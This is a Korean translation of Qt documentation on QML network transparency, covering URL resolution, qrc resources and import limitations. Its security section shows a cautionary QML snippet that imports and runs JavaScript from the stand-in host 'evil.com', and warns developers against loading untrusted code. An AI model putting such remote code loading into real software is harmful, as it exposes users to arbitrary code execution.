이 페이지에서

리소스 로딩 및 네트워크 투명성

QML은 QML 문서에서 다른 콘텐츠로 참조할 때 파일 이름 대신 URL을 사용함으로써 네트워크 투명성을 지원합니다. 즉, URL 소스가 필요한 곳이라면 어디서나 QML은 로컬 리소스뿐만 아니라 원격 리소스도 처리할 수 있습니다. 예를 들어, 다음 이미지 소스처럼 말입니다:

Image {
    source: "http://www.example.com/images/logo.png"
}

상대 URL은 상대 파일 경로와 동일하므로, 일반 파일 시스템에서 QML을 개발하는 것은 여전히 간단합니다:

Image {
    source: "images/logo.png"
}

네트워크 투명성은 QML 전반에 걸쳐 지원되며, 예를 들어 FontLoader 및 Image 요소 모두 원격 서버에서 리소스를 불러오는 기능을 지원합니다.

QML 타입 자체도 네트워크에 위치할 수 있습니다. qml 도구를 사용하여 http://example.com/mystuff/Hello.qml 을 불러오고, 해당 콘텐츠가 "World" 타입을 참조하는 경우, 엔진은 http://example.com/mystuff/qmldir 을 불러와 로컬 파일과 마찬가지로 타입을 해결합니다. 예를 들어, qmldir 파일에 "World World.qml"이라는 줄이 포함되어 있다면, http://example.com/mystuff/World.qml 를 불러옵니다. Hello.qml 가 (보통 상대 URL을 통해) 참조하는 다른 모든 리소스도 마찬가지로 네트워크에서 불러옵니다. WorkerScript 와 함께 사용되는 원격 JavaScript 파일도 마찬가지입니다.

경고: QML 및 JavaScript 리소스는 신뢰할 수 있는 원격 위치에서만 로드해야 합니다. 신뢰할 수 없는 출처의 데이터 처리에 관한 참고 사항을 참조하십시오.

상대 URL 대 절대 URL

객체에 URL 유형의 속성(QUrl)이 있는 경우, 해당 속성에 문자열을 할당하면 실제로는 절대 URL이 할당됩니다. 즉, 해당 문자열이 사용된 문서의 URL을 기준으로 문자열이 해석되기 때문입니다.

예를 들어, http://example.com/mystuff/test.qml 에 있는 다음 내용을 살펴보겠습니다.

Image {
    source: "images/logo.png"
}

Image 의 source 속성에는 http://example.com/mystuff/images/logo.png 이 할당되지만, QML을 개발하는 중일 때(예를 들어 C:\User\Fred\Documents\MyStuff\test.qml 에서)는 C:\User\Fred\Documents\MyStuff\images\logo.png 이 할당됩니다.

URL에 할당된 문자열이 이미 절대 URL인 경우, “해결” 과정은 이를 변경하지 않으며 URL이 직접 할당됩니다.

QRC 리소스

Qt에 내장된 URL 스키마 중 하나는 “qrc” 스키마입니다. 이를 통해 Qt 리소스 시스템을 사용하여 콘텐츠를 실행 파일에 컴파일할 수 있습니다. 이를 활용하면 실행 파일이 해당 실행 파일에 컴파일된 QML 콘텐츠를 참조할 수 있습니다:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

콘텐츠 자체는 상대 URL을 사용할 수 있으므로, 해당 콘텐츠가 실행 파일에 컴파일되었다는 사실을 전혀 인지하지 못한 채 투명하게 작동합니다.

제한 사항

import 문은 "as" 절이 포함된 경우에만 네트워크 투명성을 보장합니다.

더 구체적으로 말하면:

  • import "dir" 로컬 파일 시스템에서만 작동합니다
  • import libraryUri 로컬 파일 시스템에서만 작동합니다
  • import "dir" as D 네트워크 투명하게 작동합니다
  • import libraryUrl as U 네트워크 투명하게 작동합니다

애플리케이션 보안에 미치는 영향

QML 보안 모델은 QML 콘텐츠가 신뢰할 수 있는 콘텐츠의 사슬로 구성된다는 것입니다. 사용자는 네이티브 Qt 애플리케이션을 설치하거나 Python, Perl과 같은 런타임으로 작성된 프로그램을 설치하는 것과 동일한 방식으로, 신뢰하는 QML 콘텐츠를 설치합니다. 이러한 신뢰는 일부 플랫폼에서 제공되는 패키지 서명 기능을 포함하여 다양한 메커니즘을 통해 확립됩니다.

사용자의 신뢰를 유지하기 위해, QML 애플리케이션 개발자는 임의의 JavaScript나 QML 리소스를 로드하거나 실행해서는 안 됩니다. 예를 들어, 아래의 QML 코드를 살펴보겠습니다:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

이는 “http://evil.com/evil.exe”를 다운로드하여 실행하는 것과 같습니다. QML 엔진은 특정 리소스의 로딩을 차단하지 않습니다. 웹 브라우저 내에서 실행되는 JavaScript 코드와 달리, QML 애플리케이션은 다른 네이티브 애플리케이션과 동일한 방식으로 원격 또는 로컬 파일 시스템 리소스를 로드할 수 있으므로, 애플리케이션 개발자는 콘텐츠를 로드하고 실행할 때 각별히 주의해야 합니다.

자신의 통제 범위를 벗어난 다른 콘텐츠에 접근하는 모든 애플리케이션과 마찬가지로, QML 애플리케이션도 로드하는 신뢰할 수 없는 데이터에 대해 적절한 검사를 수행해야 합니다. 예를 들어, import, Loader 또는 XMLHttpRequest를 사용하여 신뢰할 수 없는 코드나 콘텐츠를 로드해서는 안 됩니다.

© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.